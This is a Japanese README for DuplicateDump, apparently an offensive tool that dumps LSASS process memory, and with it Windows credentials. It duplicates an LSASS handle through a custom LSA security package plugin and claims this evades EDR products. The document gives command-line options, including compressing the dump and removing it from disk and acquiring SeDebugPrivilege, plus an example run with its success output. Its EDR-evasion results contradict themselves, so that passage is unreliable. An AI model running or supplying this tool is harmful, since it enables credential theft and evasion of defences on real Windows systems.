
カスタムLSAプラグインから複製されたハンドルを使用したLSASSダンプ
DuplicateDumpはMirrorDumpのフォークで、以下の変更が加えられています。
DuplicateDumpはカスタムLSAプラグインを追加し、LSASSプロセスハンドルをLSASSプロセスからDuplicateDumpに複製します。そのため、DuplicateDumpはOpenProcessを呼び出さずにLSASSへの使用可能なプロセスハンドルを保持します。
DuplicateDumpをメモリにロードすることで、以下の環境で検出されることなくLSASSメモリをダンプできました。
Cortex XDR、Crowdstrikeでは検出されました。SentinalOneでは検出されずにLSASSをダンプできませんでした。
LSAプラグイン(SpLsaModeInitializeまたはdllMain関数をエクスポート)をコンパイルし、そのDLLの完全なパスをDuplicateDumpに指定します。
.\DuplicateDump.exe --help
-f, --filename=VALUE ダンプファイルの書き込み先パス
-p, --plugin=VALUE LSAプラグインの完全なファイルパス
-c, --compress ダンプファイルをGZipで圧縮し、ディスク上から削除する
-d, --DebugPriv SeDebugPrivilegeを取得する
-h, --help このヘルプを表示
例
.\DuplicateDump.exe -f test -c -p C:\LSAPlugin.dll
[+] LSAセキュリティパッケージを読み込み中
[+] 名前付きパイプ接続、現在のPID 6492を応答
[+] 複製されたLSASSプロセスハンドル0x3d0を発見
[+] 圧縮されたダンプファイルをtest.gzに保存